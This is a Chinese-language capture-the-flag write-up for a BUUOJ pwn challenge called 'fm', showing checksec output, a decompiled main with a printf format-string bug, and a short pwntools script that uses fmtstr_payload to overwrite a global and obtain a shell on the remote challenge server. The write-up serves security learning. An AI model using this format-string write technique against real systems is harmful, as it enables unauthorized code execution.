分析
checksec
1 2 3 ➜ pwn checksec --file=fm RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 73) Symbols No 0 2 fm
ida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14u ); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50u ); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
可以看到,当x == 4就可以拿到shell,跟进看一下x的值和地址:
1 .data:0804A02C x dd 3 ; DATA XREF: main+65↑r
所以我们的任务就是修改这个值为4,可以看到使用了printf函数,那么我们可以利用该函数格式控制漏洞实现数据修改
利用
计算偏移
偏移量为11
利用代码
1 2 3 4 5 6 7 from pwn import *from LibcSearcher import *r = remote('node5.buuoj.cn' ,29883 ) x_addr = 0x0804A02C buf = fmtstr_payload(offset=11 ,writes={x_addr:4 }) r.sendline(buf) r.interactive()
fmtstr_payload 函数文档
常用用法:
第一个参数是偏移
第二个是个字典,key是地址,value是要修改的值